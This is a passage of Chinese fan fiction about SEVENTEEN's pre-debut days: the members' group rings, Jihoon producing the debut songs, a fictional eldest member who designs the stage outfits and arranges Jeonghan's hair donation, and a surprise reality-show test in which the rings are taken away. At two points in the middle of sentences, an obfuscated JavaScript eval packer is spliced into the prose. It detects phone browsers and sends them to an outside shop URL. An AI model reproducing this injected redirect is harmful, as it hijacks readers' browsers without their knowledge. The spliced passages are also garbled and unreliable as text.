孩子们没有刻意去找自己的那一枚,每个人随手拿起一枚仔细观察的戒指的造型和上面的文字。尽管戒指的造型有些朴素,但是戒指上的字意义重大。戒指内侧刻着“SEVENTEEN & PLEDIS”和成员的艺名,戒指上面刻的是SEVENTEEN 和数字17。 随后,少年们纷纷动身捏着掌心里的那枚银环去寻找它的主人。 有点好笑的是,就算找到戒指的主人并帮他戴上后,戒指主人手里的那一枚未必会是自己的那一枚,还要等着成员们来找自己。 然后,就出现了以下情况。 金珉奎:“胜宽啊!你在哪~” 李灿:“里树哥!你别走啊!” 崔胜澈:“俊辉啊!快帮我抓一下你净汉哥!别让他跑了!” 李知勋:“金珉奎你还想吃我一记吉他吗!” 姜里树:“知秀啊,快点把手张开别握拳了。” 李硕珉:“胜澈哥!现在不是掰手腕的时候啊!” 尹净汉:“知勋啊,快把吉他放下来!” 文俊辉:“哈哈哈哈哈哈!谁挠我痒痒肉啊!太过分了!!!” 崔瀚率:“圆佑哥,我来帮你戴戒指。” 徐明浩:“顺荣哥,戒指在这里!” 洪知秀:“俊辉啊,不要跳了!!戒指差点被你打掉了!” 权顺荣:“明浩啊!好巧!你的在我这里!” 夫胜宽:“我明明就在你背后!!过分了啊!” 全圆佑收回了手,默默向着叫他的崔瀚率移动…… 完全乱作一团了…… 17. 17.这就开始了? 就在那枚象征出道的戒指戴上手指后不久,公司让他们搬离了原先昏暗的地下练习室,入驻了全新的大楼,拥有了一间宽敞明亮的新练习室,甚至还分配给了李知勋一间独属于他的制作室。 当晚,接下了制作出道曲重任的李知勋,便以一种近乎燃烧自己的状态,几乎不眠不休地住在了制作室里。 如果不是姜里树和成员们记挂着,时不时带着餐食去找他,安静地陪他待上一会儿,或者强制他休息片刻。否则那间狭小的制作室,恐怕真的会成为他出道前的全部的世界。 高负荷的压力沉沉地压在他的肩头。 所有成员能否成功迈出通往未来的第一步——这份沉甸甸的集体责任,像一座无声的警钟,时时刻刻在他脑中鸣响,提醒着他绝不能有半分松懈和懈怠。 “里树哥,你来听一下。” 李知勋没有回头,只是将手边最新的一个制作文件点开,然后摘下自己的耳机,反手递给了安静坐在他身后地板上陪伴的姜里树。 Seventeen Yob Seventeen自由不羁的少年 You Know What 你知道吗 最近的我想得很多 最近我对你 有很多想说的话 …… 音乐从耳机里流淌出来。 哇—— 是青涩又懵懂的爱恋。贝斯带着鼓点进场,那节奏一下一下,精准得像少年看见喜欢的人时,猝不及防、砰砰直跳的心脏。 姜里树听着耳机里流淌出的、带着少年特有直白与笨拙的歌词,眼睛倏地亮了起来。他猛地抬起头,脸上是毫不掩饰的惊喜,越过显示器的边缘,直直看向前方李知勋专注而疲惫的侧影。 “怎么样?” 李知勋没回头,手底下还在反复调试着一段鼓点的轻重,等了半天也没听见背后传来任何评价。他有些疑惑地扭过头。 就看到姜里树半张着嘴,眼眶里蓄着一层薄薄的水汽,将那双本就清澈的绿眼睛润得水光潋滟。 那副模样,诚然就是歌词里那句 “???? ??????(怎么可以这么光彩夺目)” 最生动的写照。 “大发啊——你这直接是去生抢一位去的啊。”姜里树抬手揉了揉湿润的眼睛,声音里还带着不可思议的赞叹。 ‘你这副表情才是真的大发。’李知勋抿了抿嘴,把这句话咽了回去,没说出来。他只是轻轻“嗯”了一声,便又转回身,趁着刚才那一瞥带来的灵感还未消散,飞快地继续调试起音轨。 “知勋啊,你恋爱了吗?”姜里树听着耳机里过分真实、细节充盈的情感描写,忍不住把心里的嘀咕问出了口。 “咳,怎么可能。”李知勋被他这句话惊得手一抖,直接被自己的口水呛到,咳了好几声才顺过气来,耳朵尖都漫上一点薄红,“只是看了几部恋爱题材的电影而已。” “喔哦~你这也太厉害了吧…”姜里树震惊地微微张着嘴,脸上是毫不掩饰的佩服。几部电影,就能写出这么真实、青涩又悸动的爱恋?这也太强了吧。 姜里树把耳机递回去,看着李知勋又转回去的背影,真心实意地感叹了一句:“知勋啊……真的好强。” “嗯。”回应他的是少年本人泛着红晕的耳尖。 李知勋将“珍爱”保存下来, “再听听这个。” 他说。 新的旋律流淌出来,是还在打磨中的 “Shining Diamond” 。骨架已经立起,闪耀的潜质呼之欲出,但细节处还能听出粗糙的棱角和未打磨的光滑面,像一颗已折射出初芒、却亟待精切与抛光的钻石原石——就像他们一样。 “仍需打磨。” 姜里树听完,给出了简短却精准的评价。 “确实。” 李知勋点了点头,手指在鼠标上无意识地滑动着,目光落在波动的音轨上。 这颗名为“Shining Diamond”的曲子,还没有经历过真正严苛的、风雨般的反复打磨。 “知勋。”在旋律渐渐淡去的余音里,姜里树犹豫了一下,还是开了口。 “我想亲自来设计这两首歌的打歌服。” 他说。 之前几次公示照和预告里那些千篇一律的暗黑风格、厚重的烟熏妆,已经让他忍无可忍了。他们明明是一群朝着梦想正式起跑的、鲜活明亮的少年,不是骑着摩托在街头挑衅治安、眼神阴郁的什么“鬼火少年”。 “啊,可以啊,我完全支持。” 李知勋的声音从前面传来,他没有回头,但话语里那份毫无保留的支持和一丝怎么也掩藏不住的轻松笑意,清晰地传递了过来。 他顿了顿,手指敲击键盘的声音没停,“听过这两首歌,应该也能帮你找到一些服装设计上的灵感吧。” “完全有了新的想法!” 姜里树在听到自家大制作人这至关重要的一票赞同后,眼睛瞬间亮得惊人。他高兴得几乎要跳起来,从背后结结实实地抱了李知勋一下,然后丢下一句:“我去找胜澈一起去和社长说!” 话音未落,人已经像一阵风似的冲出了制作室,只留下门被轻轻关上而发出余声。 李知勋依旧坐在椅子上,没有动。 只是放在键盘上的手指,几不可察地轻轻蜷缩了一下。 身后似乎还残留着那个短暂拥抱带来的、一点不真实的暖意。因为这个,他眼里积攒多日的、深重的疲惫,仿佛被某种清澈的东西悄然洗去了一些。 屏幕冷白的光映在他眼里,泛出一点很温柔的、沉静的光泽。 姜里树定格在183的大个子像个炮弹一样横冲直撞的冲向他们的练习室,猛地扎进他们那间正忙得热火朝天的练习室。 舞蹈室里面俨然一个小型创意工坊。这边权顺荣带着文俊辉正对着镜子比划新动作,徐明浩面和李灿面对着他们两人背靠舞蹈镜在纸本上涂涂画画着。他们的背后是崔胜澈带着崔瀚率、全圆佑、金珉奎头碰头地琢磨歌词。练习室靠窗的位置是队里的主唱们,夫胜宽和尹净汉、李硕珉、洪知秀在练习嗓音。大家三五成群,各忙各的,都在为即将迎来的曙光努力奋斗着。 蹲在徐明浩身边、正帮忙设计动作的李灿率先发现了冲进来的姜里树,扬起手,露出小太阳般的笑容跟他打招呼,年纪轻轻,尽说些想让他哥死的话。 “hiong~你回来啦,是想好来哪个队了吗?” “!” 被李灿这么一问,姜里树才猛地想起,今天早上金社长确实下了最后确认小队成员名单,要求所有人在中午前,必须确定最终的所有成员小队归属名单。 其他成员早就根据自身特长和意愿,明确了自己的定位。唯独他,像个飘忽不定的风,在Hip-hop、Vocal、Performance三个小队的边界线上反复横跳,把三个小队的队长都弄得抓狂不已。 于是,姜里树干脆躲了一时,溜进了李知勋的制作室,让自己静下来好好想想。虽然同屋的李知勋是Vocal队的队长,但这丝毫不影响他在里面“避难”,毕竟李知勋一旦投入制作,就会忙得忘了所有事,自然也暂时“管不上”他了。 一开始坐在制作室的地板上确实有在好好想想啊。 Hip-hop姜里树尝试了一次,换来了三天的内向。BUMZU哥笑他,说他的Hip-hop说着说着唱起来了,像情歌一样,一点儿也没有Hip-hop的气势。如果是对决的话,不但压不下去对方的气势,说不定还会让对方爱上你。耳边到现在还回荡着这哥的笑声。 本来以为到Vocal队会好一点,李知勋让他试唱了几段不同音区的段落,开头还行,但到了需要长时间稳定控制胸腔气息的段落,他的声音就开始变得断断续续。现在从头去练扎实的气息,时间已经来不及了。李知勋从后背挂在他身上,锁着他的喉问他,以前都干什么去了。 唯独在Performance队,情况截然不同。只要音乐响起,他的四肢仿佛自带韵律,记忆力超群,听力也异常敏锐,即使只有歌曲的鼓点,他也能精准地跳出对应的舞蹈动作。权顺荣甚至翻出了很久以前的公演舞蹈视频,姜里树在听到旋律第一秒,身体就做出了完全正确的反应。 在三位小队长里,其中有一位还是总队长的情况下,在那如有实质、充满期待的沉重视线聚焦下…… 他,姜里树,选择战略性撤退了。 能躲一时是一时。他暂时,真的承受不住那三道目光的分量。 结果,在制作室里被李知勋那两首极具冲击力的新歌一搅和,他把这件大事,给彻底忘了。 他现在退回去……还来得及吗? 来不及了。 “站住。” 崔胜澈也看见了他,更瞥见了他脸上那点“大事不妙、企图开溜”的微表情哼笑一声。眼看姜里树脚跟一转,还想装作无事发生地退出练习室,他只用两个清晰的音节,就稳稳定住了他们家这位又想跑掉的大哥。 “选好了吗?” 崔胜澈手里转着笔,扬了扬下巴,目光平静却不容回避地望向他。 “选好了。” 姜里树深吸一口气,以一种近乎“死就死吧”的语气,清晰回答道,“去Performance队。” “嗯。” 崔胜澈点了点头,表情没什么变化,只是在身后Performance队由队长权顺荣带头瞬间爆发的欢呼和口哨声中,平淡地补了一句:“现在可以把最终名单发给金社长了。” 哎?没事? 姜里树小心翼翼地睁开一只眼睛,偷瞄了一眼面色平静如常、甚至已经开始低头编辑信息的崔胜澈。 居然没生气? “呀!你这是什么表情?难道我是什么可怕的杀人魔吗?”崔胜澈发送好信息,在抬头看他的时候笑出了声。 姜里树识趣的摇摇头,说:“还以为你会生气。” “虽然很想你来Hip-hop队,” 崔胜澈放下笔,语气变得认真而平和,“但更知道,你得找到真正适合自己的位置,才能做到最好,对团队也最好。” “哇——wuli里兜真是成长飞跃啊。”短暂的热烈鼓掌感慨了一下。随即,姜里树手指比了个八,指着崔胜澈问他:“那你早上和知勋一副我不去你们队就干掉我的架势是怎么回事?” 控诉,满满的都是被弟弟们恐吓的控诉。 “哎一古,不吓一下怎么知道呢,万一你就来了呢?” “还能这样吗?”姜里树脖子下意识往后一缩,脸上写满了茫然和不可思议。 大家看着他们俩一来一往的对话,也都忍不住跟着笑了起来。练习室里紧绷了很久的气氛,终于在这阵轻松的笑声中,渐渐松弛了下来。 不是等等,他是不是忘了什么事? 姜里树看着身边已经开始各自活动、恢复练习的孩子们,下意识抬手扣了扣耳根,脑子飞速倒带。 他过来,明明是要拉上崔胜澈,一起去跟金社长申请,由他来负责新曲打歌服的设计和制作啊! 好在,这个念头只是被打岔暂时挤到了角落,并没有真的遗忘。 姜里树赶紧拉住崔胜澈,快速而清晰地说明了自己关于舞蹈服装全部由他自行设计的理念和初步构想。两人达成一致后,立刻与金社长约定了时间。 随后,他们与公司的造型设计老师进行了沟通,最终方案确定由姜里树根据他们出道专辑的核心风格与情感,主导设计所有打歌服及整体妆造。 方案通过后,姜里树很快和装造老师们给成员们约时间,准备根据每个人的气质与歌曲part,重新为他们量身打造全新的视觉形象。 等MV拍摄的那天,所有人的形象绝对让人眼前一亮。 Hiphop小分队的孩子们主打休闲街头风,基础款白色宽松衬衫搭配不同浅色工装马甲,马甲上点缀细条纹或Seventeen小刺绣logo增加细节感。下装选浅卡其色束脚工装裤,裤脚卷边露出白色中筒袜和白蓝拼色帆布鞋。发型以清爽短发为主,VERNON可以尝试剪短一点点发尾浅灰色,整体羊毛卷;胜澈染栗色,三七侧分蝴蝶烫;圆佑发色不变四六分,气垫烫;珉奎发型中分气垫纹理,增强嘻哈辨识度。 Performance小分队的孩子们突出利落运动感,选不同颜色速干面料的篮球衣,里面套着白色短袖,背后印简约的“Seventeen 17”字母印花。下装搭配白色运动束脚裤或者运动短裤,裤侧是双条细黑条纹,跳舞的时候腿部线条会特别明显。脚踩白色高帮板鞋,搭配同色系护腕。发型做利落的顺毛短发,Hoshi头发剪短做钢夹前刺染白;THE8尝试清爽的日式鲻鱼头;JUN纹理微分;姜里树只把头发染黑了;DINO还是个宝宝,姜里树给他设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205957|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计了个微分碎盖烫卷,看的几个哥哥直呼“wuli忙内kiyo~”。 Vocal小分队的孩子们走温柔学长风,浅色针织开衫内搭白色T恤,开衫选薄款镂空针织材质,增加清爽感。下装搭配浅色直筒牛仔裤,裤脚微微磨边。脚踩米色乐福鞋或白色帆布鞋。发型以温柔卷发或顺毛短发为主,知秀留蓬松的羊毛卷短发,胜宽中分微分碎盖,知勋头发烫蓬松、微卷妹妹头,硕珉发色染白微分碎盖微卷,凸显 Vocal 队的温润气质。 姜里树特意单独找到了尹净汉。 他坐下来,很认真地和他商量发型的事,还捋了一下净汉肩头的长发。因为公司一直要求尹净汉维持留长发的这个人设,很多次跳舞的时候,头发总会糊到脸上,甚至缠住,很影响视线和动作。他其实一直很想剪短,但又怕喜欢他长发的粉丝们,会影响到团体。 “那就剪短吧~”姜里树说,“我来给净汉设计一款新造型吧~” 下午,与公司沟通并确认好行程后,姜里树没有直接回练习室,而是带着尹净汉,坐车来到了一家儿童医院。 这里是他们之前公演时,给这里的孩子们表演过的医院。 他们没有去普通的门诊或病房,而是径直来到了一个特殊的楼层。走廊比别处更安静,空气中弥漫着淡淡的消毒水味。 在这里,他们看到了许多戴着帽子、或是头发稀疏、甚至没有头发的孩子们。 尹净汉就那样乖乖地被哥哥牵着手,带到了正在做游戏的孩子们中间。他心情有些复杂地看着他们笑闹,自己的视线有一些模糊,他好像知道姜里树要干什么了。 没一会儿,一个穿着白大褂的医生走了进来,温和地示意他们跟自己走。他们被带到了走廊尽头的另一间病房。 病房里,有一个孩子正因为被剪了头发,正捂着头顶,一点儿也不闹的掉着眼泪。 尹净汉就是在这个时候,跟着医生和姜里树,轻轻推门走了进去。 病房里的那个孩子,虽然脸色有些苍白,但看到他们,还是努力地露出了一个笑容,乖巧地和他们打招呼。 他们陪着孩子聊了一会儿天,说了些学校里的趣事和动画片。孩子听着,眼睛亮亮的,但没多久,疲惫和病痛还是让他支撑不住,沉沉地睡了过去。 姜里树静静地给孩子掖好被角,然后示意尹净汉,两人轻手轻脚地退出了病房。 “现在,我们去剪头发吧~”姜里树牵起尹净汉的手,往医院外他熟悉的那家理发店走去。 走出医院大楼,春天的风带着些许凉意。姜里树没有立刻离开,而是指着医院附近一家看起来有些年头的、不太起眼的理发店。 他说:“上次我的头发,就是在这里剪的。老板手艺不错。而且很多顾客剪下来的长发,都会自愿留给老板。老板会仔细收集起来,做成假发,捐给医院里那些因为治疗而失去头发的孩子们。” 他顿了顿,目光看向医院的方向。 “老板自己的孩子也在那家医院里。我之前剪下来的头发,就是给了那个孩子。” 提起这件事,姜里树还轻轻笑了一下。 “那孩子当时对我说:‘哥哥的头发好像公主,金色的,还那么长,真好看。’” 他模仿着孩子的语气,眼里带着柔和的光,“她还很羡慕地告诉她妈妈,说她长大以后也想要这样的头发。” 他顿了顿,笑容里多了些感慨。 “那天从医院回去后,我就去把头发剪了。拜托老板做成假发,想给那孩子送过去。结果一问才知道……那孩子,就是老板自己家的女儿,你说巧不巧。” “那孩子现在……” 尹净汉轻声问,手安慰地捏了捏姜里树的胳膊。 “已经出院了!” 姜里树立刻回答,声音里带着由衷的轻快和欣慰,“健健康康地战胜病魔,上一年年末就出院回家了。” 他拿出手机,点开一条信息,递给尹净汉看,嘴角是止不住的笑意。 “前两天,那孩子看到Seventeen要出道的新闻,还给我发消息说:‘欧巴们出道的舞台,我一定要第一个看到!’” “哇——亲加?真是太好了。” 尹净汉松了口气,真心地为那个未曾谋面的孩子感到高兴。 “所以,” 姜里树转过身,看着尹净汉,语气轻松而坚定,“净汉就放心地剪头发吧~” 对剪掉长发这件事,我们不是突然想起,只是早有预谋。 姜里树指了指医院的方向:“剪下来的头发,就做成假发,送给刚刚我们看到的那个孩子。” 他笑了笑,带着一点温柔的自豪,“净汉这么漂亮的头发,得让它发挥出最漂亮的作用才行啊。” 这样一来,就连公司,也无法再以“形象”为理由来指责他了。 “放心吧,不会剪很短的!” 姜里树像是看穿了他的心思,先他一步朗声笑了起来,边笑边朝理发店里跑去,声音从门内传来,带着促狭的暖意。 “毕竟我们净汉,还要继续走‘长发美人’的路线啊~” “那当然啦~” 尹净汉也跟着笑了起来,对于这一点,他没什么不好承认的。毕竟公司给他定下的形象路线,确实包含了这一点。他不再犹豫,脚步轻快地紧跟着姜里树,两步跳进了那家温暖的理发店里。 出了理发店后,尹净汉的新发型头顶中分碎盖发尾延用了狼尾到后颈椎骨的位置,把小卡子取掉,头两侧的碎发放下来整体就是个蓬松的妹妹头,因为烫了一下看起来只比以前的头发长度短了一点点,其实真的剪掉了很多,回去还要重新染个色。 最后一个弟弟做完造型,今天就完美结束啦~ 接下来的日子渐近出道时间,虽然都不知道是五月的哪一天会“中奖”,但大家依旧时刻为出道努力准备着。 在四月初的第一天有了回响,Seventeen全部成员们集体被叫到了一起。 新的通知下来,公司将与联合制作的SEVENTEEN出道生存真人秀《SEVENTEEN PROJECT:出道大作战》,为期一个月,现在连拍摄的用的便携式手持摄像机都发给了他们。 要求第二天开拍就要开拍,这就开始了?这么急? 欢呼的孩子们才不在乎这个,耳朵里只听到了“出道”“真人秀”。 而姜里树听到的“生存”。 这是要干什么??? 18. 18.‘你安静\’ 今天天气好晴朗,处处好风光,好风光~ “呲啦——” 拍摄的第一天,姜里树围着那条印着小猫图案的围裙,正熟练地将鸡蛋滑进热油里,准备给还没醒的成员们做荷包蛋汤面。 面汤锅里冒着热气,他脑子里也转个不停。今天天气不怎么暖和,得提醒孩子们多加件外套;一会儿还得叫醒一个,配合拍摄一段日常视频…… “hiong~在做什么呀,好香~”李硕珉还带着浓浓的睡意,眼睛都没完全睁开,就循着香味踉踉跄跄地摸到了厨房,整个人软绵绵地趴在了姜里树的背上,把下巴搁在他肩膀上,小狗似的深深吸了一口空气中弥漫的食物香气。 “在做荷包蛋汤面。” 姜里树头也没回,声音在煎蛋的滋啦声里显得很居家,“早上不宜吃太辣太油腻的,这个正好。” 他将鸡蛋利落地翻了个面,才侧过身,对背上的人说:“正好你来了。先去洗漱,然后拍摄的任务交给你了,拍一段孩子们起床的日常花絮就行。” 看了一眼墙上的钟,估摸着时间。 “等大家都起来了,面也就差不多好了。” “好哦~” 李硕珉迷迷糊糊地应了一声,又像梦游一样,摇摇晃晃地从姜里树身上“剥”下来,朝着暂时没人的卫生间,一步三晃地挪了过去。 等他洗漱完毕,穿戴整齐,睡意也被冷水彻底赶跑后,李硕珉便精神抖擞地拿起了准备好的手持摄像机,脸上挂起了专业且快乐的笑容。 李PD,正式上线,开始了他今日的“叫醒服务”兼日常拍摄工作。 第一个,就是客厅的孩子们。 李硕珉手持摄像机,先是一脑袋窝在了客厅地铺上、还在睡眼朦胧的夫胜宽旁边,用镜头怼着对方的脸,笑嘻嘻地让他跟观众打招呼。 旁边床上的洪知秀,其实在李硕珉进厨房时就醒了,这会儿也从床铺上探下脑袋,带着刚睡醒的柔软笑意,朝着镜头挥了挥手。 简单拍完这两个,李硕珉手里的摄像机就被自然而然地递到了已经坐起身的夫胜宽手里。 夫PD,接力上线。 夫胜宽接过摄像机的第一件事,就是调转镜头,精准地去“骚扰”同样睡在客厅、蜷缩在小沙发上的崔瀚率。 然后,他就像一个充满活力的“人体闹钟”,举着摄像机,一个接一个,用不同的、极具个人风格的方式:可能是轻声呼唤、可能是突然的镜头特写、也可能是直接上手摇晃的,把其他还在沉睡的成员们,逐一从梦乡里“挖”了出来。 最后从队长崔胜澈“结实”的臂膀中成功“存活”下来后,夫胜宽才终于摇摇晃晃地、带着劫后余生的表情,走进了香气四溢的厨房。一进门就被浓浓的面香味吸引。 也成功让摄像机见到了最后一位打招呼的成员——Seventeen的大哥姜里树。 “胜宽呐,叫孩子们过来端早餐。” 姜里树还在灶台前,一碗一碗地盛着热气腾腾的面,头也没抬地吩咐了一句。 “好哦,hiong~” 夫胜宽闻着香味,答应得格外爽快,立马转身去叫其他人。 拍摄的第一天,是在Seventeen的成员们都吃得心满意足、浑身暖洋洋的情况下,活力满满地继续开工的。 每个人谁先吃完谁就去把自己的碗顺手洗掉,是姜里树在厨房的规矩。 出门前收拾好自己的着装打扮,穿上姜里树给他们提前搭配好的外套后,活力满满的一起出门。 一行人在自家的所属社办公室见到了《SEVENTEEN PROJECT:出道大作战》的制作人们。 和提前到场的制作团队打过招呼后,漂亮帅气的孩子们依次在布置好的位置坐下。他们先是向制作人们做了简短的自我介绍,然后双方开始聊起天来。 话题从 SVT的宿舍生活,聊到 SVT的练习室日常,再聊到成员们之间独特的关系和趣事。能感觉到孩子们虽然努力表现自然,但依旧有些掩饰不住的紧张,就连一向活跃气氛的夫胜宽,也强撑着努力地调动情绪,让对话更轻松一些,坐在他对面的权顺荣偶尔也帮忙托衬一下。 铺垫和闲聊了半天,吊足了胃口的制作组,终于进入了正题。 “你们是在创作的道路上不断前行的公演型爱豆,究竟你们有多厉害得得考验一下。”男制作人平静无波的说出让孩子们越发忐忑不安的话。 “我们去下一个场所吧,外面有汽车在等着各位。” “去了就知道了,来考验一下你们究竟有多少把刷子。” “现在就走吧。” 几句话定下了Seventeen所有成员接下来的活动行程。 姜里树伸手越过文俊辉拍了拍还没缓过神的崔胜澈,让他起身带队下楼。 思绪落回实地时,才发现不知何时,大家已经坐在了一辆行驶中的大巴车上。 此刻,车厢里充满了少年们对新目的地的雀跃猜想和嬉笑。唯有姜里树,抬眼瞥见前排制作人肩上那台依然亮着录制红灯的摄像机,一丝不详的预感掠过心头,他带着点认命的无奈,轻轻闭上了眼。 昨天的“生存”,今天的“公演型爱豆”,“考验”,“几把刷子”……每个词他都认识,为什么放在一起就让他这么陌生呢…… 啊西,完了…… “里树,你怎么了?”洪知秀好笑的看着姜里树在他旁边散发着一股淡淡的死感。 “啊——我有种非常不详……” “嘘——”还没说完的话被洪知秀微笑着直接手动闭麦。手上还学着姜里树和文俊辉,徐明浩看的那个重国电视剧里的甄嬛的动作,让姜里树安静。 ‘知道你说的准,但是别说。’ “……” 被强行闭麦的姜里树,小白眼一翻,认命地一脑袋磕在了冰凉的车窗玻璃上,彻底安静下来,缩成了一只了无生趣的“鹌鹑”。 坐在后排的崔胜澈手慢了一步,没来得及拦住那颗撞向玻璃的脑袋,最后只好假装自己伸出的手,是不经意间落在姜里树背后的座椅靠背上。 他身旁的尹净汉,将崔胜澈这一系列欲盖弥彰的小动作尽收眼底,嘴角不经意地,悄悄向上弯了一下。 承载着Seventeen的大巴车,承载着明日星星的船,稳稳的停在了那幢辉煌的大楼门口。 姜里树跟着队伍下了车,抬起头,看清了高悬在大楼之上的三个字母:“MBC”,以及大楼门口醒目的“MBC DREAM CENTER”。 他深吸一口气,干脆闭上了眼睛,一副“眼不见为净”的架势,跟着前面人的脚步,不管不顾地就往里走,更不管会不会被脚下的门槛或台阶绊倒。 ‘不敢睁开眼,希望是我的幻觉~’ 崔胜澈负责的牵着从进大门起一直闭着眼的姜里树,心里没搞明白他今天是怎么了。从早上在公司办公室开始,这人就一副“半死不活”的样子。 是昨天晚上没睡好吗? 但现在,前后左右都是摄像机,也来不及好好问他了。 一群人就这么糊里糊涂地被staff指引着,走进了一间巨大、空旷的演播厅。 终于舍得睁开眼的姜里树,就这么眼睁睁地看着,崔胜澈还牵着他的手,领着身后同样有些不知所措的孩子们,脚步迟疑地、一步一步地,走到了演播厅中央那圈聚光灯下,然后忙乱地排成一排。 “开始拍摄 SEVENTEEN PROJECT。” 就在孩子们大脑还处于“我是谁?我在哪?”的宕机状态时,现场的执行制作人突然拿起话筒,正式宣布开始。 “内……?” 孩子们下意识地、带着茫然的尾音应了一声。 几乎是他们应答的同一瞬间—— 轰! 大厅内,巨大的、熟悉的音乐声毫无预兆地骤然炸响! 音乐正是 Michael Jackson 的《Dangerous》,是他们两年前,在某次公演上曾经表演过的曲目。 舞台上,十三个少年被这突如其来的音乐轰得集体怔住,一动不动,脸上写满了真实的茫然和冲击。 [因为突袭而无法回过神的Seventeen] 后期字幕组非常敬业地,在这个画面上打出了一行表达精准的字幕。 姜里树是第一个被音乐“炸”回神的。 几乎是鼓点响起的同一秒,他身体先于大脑做出反应,一把抓过这个节拍下本应站在他前面的李灿。 同时朝着所有还愣着的成员,用尽力气大喊了一声:“孩子们!看我的动作!” 只要有人带头,开团秒跟就是Seventeen团队里,永恒不变、刻进DNA里的条件反射。 不论在做什么…对,包括嘲笑队友在内。 在姜里树的带头下,权顺荣最先反应过来,迅速站到自己的位置上跳起来。 其他人也像被按下了启动键,尽管嘴里还迷茫地嘟囔着“忘了”、“这个动作是……”,但身体已经本能地跟着前排哥哥们的动作,跌跌撞撞地舞动了起来。 一段接一段,哪怕每次只有一两个人能完整跳出,其他成员也绝不会傻站着,而是会手忙脚乱、但拼尽全力地去跟跳、去填补。这总比全军覆没、呆立原地要好上太多了。 终于,音乐停止,这段突如其来的突袭检查结束了。 所有成员都微微喘息着,脸上带着汗水和慌乱后的不安,再次规规矩矩地站成一排,等待着制作组的下一步指令。 制作组没有立刻说话,而是先让他们自己观察了一下所处的这个巨大、专业的音乐放送大厅,感受着这里的氛围。 然后,才拿起话筒,正式告知他们接下来的流程安排。 “虽然各位晕头转向的,因为想看一下各位在没有任何准备的情况下的真正实力……” “接下来,你们会在节目中进行多个任务。” “如果能够完美完成所有任务,就能获得奖励。” “奖励就是,这个地方将会成为各位的出道舞台,为期一个小时。” 这个所谓的“奖励”,是迄今为止,只有Seventeen才被给予的机会。 只不过,这份奖励带着明确且严苛的条件,完成任务,获得奖励;任务失败,则一切归零,继续沉淀。 迷茫、慌乱、不安…… 所有复杂的情绪,在“1小时‘MBC music’舞台直播”这个清晰、具体且充满诱惑的目标面前,瞬间归零,被碾得粉碎。 此刻,所有人的脑海里,只剩下同一个无比强烈的念头。 “必须拿到奖励。” 下一秒,众人坐在了带有自己名字的临时会议办公室里。 每个人的面前,都放着一个黑色的丝绒戒指盒。 姜里树坐在崔胜澈的下手位,拿起了自己面前的盒子,打开后,里面空空如也。这个空盒,仿佛在专门等待他手指上那枚团队戒指的“归位”。 镜头捕捉到他细微的表情变化。 ‘不给。’ 他几乎是在心里说道,面上犟着鼻子皱起眉,在桌子下,将戴着团戒的那只手,握得更紧了。 一个抬眼,他就看见其他人,当着他的面,集体表演了一个“填充式”献祭仪式。除了他,所有人都把自己那枚团戒,郑重其事地放回了那个空荡荡的戒指盒里,仿佛在举行某种神秘仪式,企图召唤出隐藏的大BOSS,或者解锁什么了不得的奖励成就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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的手势,便低下头,不再去看周围成员们或震惊、或担忧的表情。 孩子们看惯了金社长平时温和包容的样子,此刻他冷着脸、不苟言笑的模样,确实挺唬人的。尤其是亲眼目睹他把队伍里公认的 “硬刚行动派”姜里树都给镇压得哑口无言、直接“禁言”后,这份威严感,就更加强烈了。 提心吊胆的孩子们,此刻才真正见识到了一社之长的威严。 金社长接下来,几乎将每个人都严厉地批评了一遍,从队长崔胜澈,到最小的忙内李灿,无一例外。每一个缺点、每一次懈怠,都被清晰地指了出来。 “现在,所有人,把你们手上的团戒摘下来,放进面前的盒子里。”最后,他带着一种近乎 “失望” 的语气,下达了最终的指令。 “会有任务,你们努力看看吧。” “希望你们会用自己的力量再次找回那枚戒指。” “迄今为止的努力都是为了变得更加专业。” “现在不是练习生了…知道的吧?” “内…” “会议结束。” 最后,金社长的语气还是缓和了一些,鼓励众人要好好完成制作组布置的任务。 他收走了所有装着戒指的盒子,走到门口时,脚步停了下来,没有回头,只是叫了一声那个还埋在胳膊里的名字。 “里树啊。”他的声音在安静的会议室里很清晰。 “你不会想害了他们的,对吧?” 他顿了顿,话里的重量沉甸甸地落下,“你不能总,永远一味的挡在他们所有人前面。如果有一天,你没有能力再做那面挡风墙了……” 金社长没有把话一味地说完,留下的空白只会更令人窒息。 “到时候,谁能为他们挡风?” 他轻轻地问,然后,是更轻的一句,却像锤子一样砸在每个人心上,“……又有谁,能为你挡风啊?” 这番话,他没有压低声音,是让会议室里每一个人,都清清楚楚听到的。 “我能的。” 金社长刚刚踏出门口,崔胜澈的声音就在寂静中清晰地响起。他几乎是立刻站起了身。 “我们都能的。” 他补全了这句话,语气笃定,他可是Seventeen的队长啊。 他起身靠近手边依旧埋着头的姜里树身边,抬手,很轻地摸了摸他露出的、有些紧绷的后脖颈。 另一边的李知勋也默默移动转椅,无声地贴近,然后将上半身轻轻趴在了姜里树弓起的后背上。 “我能的。” 他贴着姜里树的脊背,声音闷闷的,但很清晰,“我们都能的。” 像是收到了无声的讯号,其他孩子也纷纷起身,安静地围拢过来。里层的成员轻轻靠着姜里树,而站在外围的,就伸出手,一下一下,安抚般地拍着前面兄弟的肩膀。 一起说着,“我能的,我们都能的。”我们可以成为姜里树的挡风墙,成为成员们的挡风墙。为什么要让他倒下?他们会一起搀扶着彼此永远站在山顶之巅。 “孩子们!” 崔胜澈的声音拔高,带着一股破开阴霾的锐气,在围拢的圈子里响起。 “戒指被夺走了,我们再夺回来就是了!” 他的目光扫过每一张脸,“不要悲伤!不要气馁!” 